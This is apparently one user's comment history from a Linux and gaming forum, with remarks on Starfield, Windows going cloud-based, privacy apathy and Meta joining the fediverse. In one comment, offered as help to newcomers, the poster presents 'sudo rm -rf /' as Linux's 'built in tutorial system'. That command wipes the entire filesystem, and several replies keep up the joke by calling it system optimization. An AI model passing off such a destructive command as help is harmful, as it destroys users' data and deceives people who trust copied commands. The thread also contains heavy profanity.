True, but I figure a year gives me time to see how things pan out. You need some time to find out what the community patches will be like.

Such a pathetic state of affairs.

That’s not a bug, it’s a feature.

Just Tod Howard streamlining your RPG experience so that he can say “it just works”.

I have a personal one year embargo on starfield for this exact reason.

Not touching it t until a year after release, waiting to see if it’s fucked or not… Bethesda, eh.

I’m entirely against changing the name because I think that the whole conversation about why is fucking asanine.

But…

If we do change it, can we change it to “Politically Correct Master Race” for a laugh? The acronym would still work… :)

Pretty much. Made perfect sense in my head at the time.

I totally see how it would be ambiguous now though.

Yep. Laughs in FOSS would have worked way better than mine.

Thanks for the other pointers too, although I really didn’t need the mental image of windows update happening 60 times a second, thank you very much. :)

Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

Which is horrible, obviously.

Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p

Goddamn Kali and it’s wireless drivers.

Good Human.

Lol, I know what you mean.

Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

All good points.

That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

Upvoted.

It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

I’m not sure that they ever did.

The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go “Eh, that’s pretty fucked, whatever”, and then immediately jump straight back into scrolling facebook all day long.

I realised then that there probably wasn’t any point expecting anything from them. I don’t have much sympathy left for people in this regard anymore.

Most people legitimately don’t give a shit about this issue. I think that they really should, but they absolutely don’t for the most part.

I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you’re golden. No more linux issues ever again.

This right here.

It’s not about disliking some community that someone personally disagrees with for whatever reason, it’s about trying to not have the entire system taken down by a vastly powerful corporate entity with an almost endless track record of being consistently malignant.

Yeah but in this particular case it really needs to happen at the instance level rather then the user level, and preferably all instances at that. It’s about mitigating the damage that Meta/Facebook are going to do (to the entire fediverse as a system) more than it is about not seeing shitty low-effort racism or whatever they’ll have there.

If I could actually trust Meta to be benign then I’d maybe agree with you about just blocking their shit as a user, but there’s just no chance of believing that about them.

I get what you’re saying, sure. But I don’t see how they’ll remotely end up less pissed off if you take the situation as it already is and then revoke their “rights” to use social media.

This is just going to make a lot of really angry people a lot more angry.

Plus, I can guarantee you that people actually organizing on social media will immediately switch to some non-blocked online means of doing so. Trying to handle that would be an impossible game of whack-a-mole.

Skill issue.

It was funny then, and it’s funny now.

You do know that rightwing fuckwits actively use people like you as a recruiting tool to show people examples of “how idiotic and heavy handed the left is” when giving them reasons to join up for their Hitlerjerk wank-ring organizations.

They literally make compilations of examples like this to create the narrative that the opposition has lost their minds and are coming for everyone’s free speech with their cancel culture, and use this to argue that somehow nazism is clearly the reasonable choice in contrast.

And as ludicrous as that is, it actually works depressingly well.

A certain willingness to have a sense of humour is a worthwhile thing to have when online. Nobody is being threatened by a reference to a joke about the console wars and the PC Vs Console circlejerk.

Plus, I have a really good gaming rig, and I tell you, those console peasants have it coming anyway. :P